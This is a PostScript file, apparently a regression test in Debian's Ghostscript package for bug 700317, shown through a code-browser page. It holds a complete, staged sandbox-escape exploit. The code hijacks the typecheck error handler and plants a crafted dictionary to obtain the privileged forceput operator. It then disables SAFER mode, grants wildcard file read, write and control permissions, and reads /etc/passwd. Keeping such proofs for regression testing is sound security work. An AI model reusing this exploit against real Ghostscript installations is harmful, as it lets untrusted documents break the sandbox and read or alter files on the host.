Debian Codegraph @

debian/tests/issues/bug_700317/c4.ps

raw
1
2 % extract .actual_pdfpaintproc operator from pdfdict
3 /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
4
5 /exploit {
6 (Stage 11: Exploitation...) ==
7
8 /forceput exch def
9
10 systemdict /SAFER false forceput
11 systemdict /userparams get /PermitFileControl [(*)] forceput
12 systemdict /userparams get /PermitFileWriting [(*)] forceput
13 systemdict /userparams get /PermitFileReading [(*)] forceput
14
15 % All done.
16 stop
17 } def
18
19 errordict /typecheck {
20 /typecount typecount 1 add def
21 (Stage 10: /typecheck #) print typecount ==
22
23 % The first error will be the .knownget, which we handle and setup the
24 % stack. The second error will be the ifelse (missing boolean), and then we
25 % dump the operands.
26 typecount 1 eq { null } if
27 typecount 2 eq { pop 7 get exploit } if
28 typecount 3 eq { (unexpected) == quit } if
29 } put
30
31 % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
32 % executable errays onto the operand stack that contain .forceput, but are not
33 % marked as executeonly or pseudo-operators.
34 %
35 % The routine was attempting to pass them to ifelse, but we can cause that to
36 % fail because when the routine was declared, it used `bind` but many of the
37 % names it uses are not operators and so are just looked up in the dictstack.
38 %
39 % This means we can push a dict onto the dictstack and control how the routine
40 % works.
41 <<
42 /typecount 0
43 /PDFfile { (Stage 0: PDFfile) == currentfile }
44 /q { (Stage 1: q) == } % no-op
45 /oget { (Stage 3: oget) == pop pop 0 } % clear stack
46 /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op
47 /gput { (Stage 5: gput) == } % no-op
48 /resolvestream { (Stage 6: resolvestream) == } % no-op
49 /pdfopdict { (Stage 7: pdfopdict) == } % no-op
50 /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index
51 /pdfdict { (Stage 9: pdfdict) ==
52 % cause a /typecheck error we handle above
53 true
54 }
55 >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
56
57 ( Should now have complete control over ghostscript, attempting to read /etc/passwd...) ==
58
59 % Demonstrate reading a file we shouldnt have access to.
60 (/etc/passwd) (r) file dup 64 string readline pop == closefile
61
62 quit